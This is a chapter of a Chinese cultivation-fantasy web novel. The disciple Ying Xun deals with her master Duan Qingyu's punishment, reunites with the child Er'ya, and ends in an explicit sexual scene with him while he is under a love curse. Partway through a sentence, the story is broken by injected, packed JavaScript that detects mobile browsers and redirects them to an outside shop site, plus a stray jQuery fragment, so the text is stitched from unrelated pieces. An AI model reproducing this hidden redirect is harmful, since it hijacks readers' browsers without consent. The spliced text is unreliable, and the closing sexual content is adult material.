应寻愤怒地离开屋子,几个师兄姐焦灼的等在外面,见她出来立马围住她。
楚灵凌第一个看见了她手掌的异样,捧起来惊呼一声,“师尊他真的惩罚你了!”
应寻的表情比他们三个淡定多了,“没事,小伤,敷点药就好了。”
“天呢,师尊怎么能这么做,他有什么证据,这不是动用私刑吗?”白志才着急的说,“我得把这件事告诉门主。”
应寻摆摆手,“别了,告诉他也没用。况且这件事是我做的,师尊要惩罚我只能受着。”
白志才撇起嘴,表情愧疚极了,“小师妹,都是我们连累了你,要不是你为我们报仇,也不会被师尊责罚,受这么重的伤。”
“对了,小师妹不是在云涧宗有人脉吗?是哪个仙尊?咱们找他评理去!”秋六奇激动地说。
应寻:“……”
很不巧,她的人脉就是段轻羽。
白志才是明白人,当初还是他找来的师尊去噬仙谷救人,最后两人一起出来,必定关系匪浅,只是不知道现在出了什么问题。
他转移了话题:“咱们还是先带小师妹看伤去吧。”
医修给应寻敷了层消肿的药粉,几人小心翼翼地围着她,把她送回寝室。
应寻毫不怀疑,如果有台轿子他们绝对会把她抬回去。
“对了,小师妹,之前因为木灵宗的事情,一直没有问你,来云涧宗之前为什么要服易容丹啊,还要把额头的梅花印遮住。”白志才说。
应寻摸了摸特意带上的抹额,不知道为什么她明明容貌都发生了变化,可额头的这道伤疤却消除不了。
“其实我在云涧宗也有几个仇人的。”她解释说。
“谁啊?”秋六奇好奇地问。
应寻摇摇头,“你们还是不知道为好。以后至少在云涧宗,我都是这个形象了,你们适应一下。”
她现在的眼睛没有大的那么夸张,整体偏细长,但漆黑的瞳孔没有变,鼻子更加挺拔,嘴唇稍微变薄,婴儿肥消失,脸型变长了一点,整体气质更加凌厉,不再像个小女孩。
楚灵凌盯着她的脸看了半天,真心夸赞:“小师妹不管怎样都好看。”
应寻笑了笑,她对自己的容貌不太在意,只希望长得有气势些,现在这样她还算满意。
过了几天在练武场上完剑术课后,一个小姑娘从后面跑过来,瞪着黑葡萄似的大眼睛盯着他们九神宗的人好奇地看:“你们就是段哥哥新收的徒弟?看起来也不怎么样嘛!”
应寻惊讶地挑起眉毛,要不是这双圆眼睛和从前一模一样,她几乎认不出来二丫了,一年多没见,她出落得漂亮可爱,粉嘟嘟的小脸,大大的眼睛,满脸写着娇俏。
看来段轻羽把她们照顾的很好。
楚灵凌看见这么可爱的小孩子,立马弯下腰问她:“你是谁啊?”
二丫得意的昂着头,“我叫王凤至,是段哥哥的妹妹。”
“坏了。”秋六奇小声问白志才,“咱们得叫小不点什么啊?”
“师父的妹妹。”白志才思索一番,“好像应该叫师姑。”
秋六奇看了眼比自己膝盖高不了多少的二丫,吸了口气,嘴巴嗫嚅半天,泄气了:“不行啊,叫不出口。”
应寻噗嗤笑了。
二丫急了:“你什么意思,嘲笑我吗?”
“不敢不敢。”应寻摆摆手,“凤来和田姐呢?怎么就你一个人随便乱跑?”
二丫瞪了瞪眼睛,“你怎么知道我姐姐和娘亲的名字!”
应寻敲了敲她的额头,“我只是吃了易容丹,换了样貌,声音又没变,这么快就忘了我了?”
二丫捂着额头,本来迷茫的眼神突然亮了,“坏姐姐!你终于来了!让我们等你这么久。”
楚灵凌惊讶地说:“你们认识?”
“是呀,我是她姐姐。”应寻笑眯眯地摸了摸二丫的头。
“坏了,那咱们叫小师妹什么?”秋六奇又小声问。
白志才:“还是师姑吧……”
秋六奇掰着完好的手指头念叨着,“我的小师妹,是我的小师父,现在又是我师姑,啊,我还多了个小师姑……真复杂啊。”
白志才敲了敲他的脑袋,“你还是别算了。”
应寻看向二丫:“你姐呢?”
“跟段哥哥出任务去了,估计下个月才能回来。”二丫抱着她的大腿不放。
“怪不得这几日都没见到他。”应寻喃喃说。
二丫跟她小声抱怨着:“段哥哥不仅要出任务,每个月还闭关三四天,虽然他现在很厉害,但我都见不到他几次了。”
应寻蹲下来,“他一般都在什么时候闭关?”
“一般是在月末吧。”二丫抱着应寻的胳膊,“应该就是最近了呀,不知道段哥哥怎么会出任务去了。”
应寻心想那是因为他的情蛊已经发作过了。
“段哥哥闭关的时候不允许任何人去看他,我上次去都被他的阵法弹出来了,摔得好疼呢。”二丫噘着嘴告状,又悄咪咪拉住她,“不过我看见过好几个修士被弹出来过嘿嘿。到时候段哥哥闭关,咱们一起守在外面,能看好多热闹呢。”
应寻:“……”
她恐怕不能守在外面了,她应该在门里。
白志才问:“为何师尊闭关还有那么多人找他?”
“因为他们都喜欢段哥哥呀。”二丫童言无忌。
楚灵凌好奇的问:“师尊人气很高吗?”
“当然啦!段哥哥就是云涧宗的香饽饽。”二丫兴奋地跳起来,“但段哥哥是坏姐姐的,那些人都是白费力气!”
一时之间几个师兄姐看向应寻的眼神满是崇拜。
应寻:“……”
又过了大半个月,段轻羽已经出任务回来,重新教起了炼丹术。
应寻对此没什么天赋,学来学去把炼丹炉炸了一个,自己又不想掏钱,好说歹说让方玄烈多教几节课帮她作为赔偿。
“中期检查我是过不去了。”应寻看着炼丹炉里乌漆嘛黑的东西,苦恼的揪着头发,她两辈子都没有考核过不去的时候。
没想到在炼丹上天赋这么差。
“要不找师尊给你补补课吧,不然以后咱们不能在一起上课了。”楚灵凌建议说。
应寻冷哼了一声,她手心的淤青虽然消失了,气还没消呢。
“我还不如去找凤来,她现在已经是一级炼丹师了。”
而她连入门考核都过不去。
段轻羽走进课堂,开始今天的授课,应寻跟着做了一遍,炼丹炉开始冒烟。
段轻羽走到她的桌子前面,“下课去我的院子,我给你补习。”
太阳打西边出来了?这半个多月他待自己和普通子弟一模一样,甚至比普通弟子还冷漠几分,现在突然叫她是做什么?
应寻很快明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12910646|123759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,因为段轻羽的桌子上放着一个储物袋。
“里面有一百灵石。”他顿了顿,“应该是明天,你子时过来,不要让任何人发现。”
“哦,原来是为了这事啊。”应寻意味深长地眯起眼睛,“师尊,现在还不到一个月,你又发作了?”
段轻羽没有说话,他最近发作的越来越不规律了。
——
“这么黑做什么?”应寻按照段轻羽说的时间通过阵法,走进屋子。
这么大个屋子居然只点燃了一支蜡烛,让她都看不清段轻羽的位置。
她立即点亮了所有蜡烛,这才看到段轻羽盘腿坐在床边。
屋子里亮堂的可以看清他的每一个微妙的表情,浅褐色的眸子没有完全被情/欲侵染,还留有清明,但额角冒出的细密汗珠出卖了他。
他现在应该已经被情蛊折磨的情难自制了。
应寻扯起嘴角,放出小蛇,随着小蛇爬到段轻羽身上,他的胸口剧烈起伏着,呼吸越来越急促。
她能清楚地感觉到他高热的身体和快速有力的心跳。
段轻羽难耐地皱起眉头,声音沙哑,咬着牙说:“应寻,快点。”
“师尊说我可以随便玩呀。”应寻歪头看向他,“我肯定得给师尊不一样的体验。”
段轻羽咬住嘴唇,眼底微红,“先把蜡烛熄灭。”
应寻坐在烛光下,气定神闲地朝他招了招手:“师尊,你自己过来。”
段轻羽因为闻到了应寻的味道,更加不能自控,撑着床边站起身,他的腿好像变得不像他的,酸软无力,不听指挥。
他努力让自己的步伐没有异常,但仍然踉跄了两步,终于走到应寻身前,粗重的呼吸落在她头顶。
他的一只手撑在桌子上,把应寻围困住,另一只手拿起水杯想要扣灭蜡烛。
应寻推开了他的手,手摸在他都胸口,那里面心脏跳动着仿佛要脱出胸腔。
她站起身,靠在桌子上笑眯眯地说:“师尊,你自己解决给我看。”
段轻羽皱了皱眉,“我花了钱。”
应寻猛的将他推倒在地。
明晃晃的烛光下男人跪倒着,他的脸色有些羞恼,试图站起来,却被应寻踩在大腿上。
纯黑的蛇盘踞上他白皙的身体,用强有力的身体勾住他的左手,将它束缚在桌子腿。
应寻将他愤怒的表情看得清清楚楚,俯下身,用手指划过他的喉结,锁骨,胸膛,在上面打着圈。
随着她的动作,男人平时紧绷的下颌松懈下来,他双唇微张,平直的眼尾染上红色,拉扯间他胸口的衣服微微敞开,露出那朵艳色的红梅。
段轻羽闭上眼睛,眉头紧皱着按住她作乱的手,声音低哑,喘息间的热气能让整个房间升温了,几乎连不成完整的句子:“我……不是让你来……羞辱我的。”
“这怎么能是羞辱呢?”应寻换做嘴唇,咬住他的脖子,像只饿狼,揉捻着他白皙无暇的皮肤,含糊不清地说。
段轻羽再也忍受不了这样的刺激,唯一自由的手终于抚摸在能让他得救的地方。
耳边粗重的呼吸声不断加快,直到他从喉咙中低吟了一声,终于脱力似的向后仰倒。
应寻托住他宽阔的后背,抱紧他,亲吻着他的喉结和锁骨,伸出舌头舔了舔,感受到他的战栗。
“做得很好,师尊。”她咬着他的耳垂,“但现在才刚刚开始。”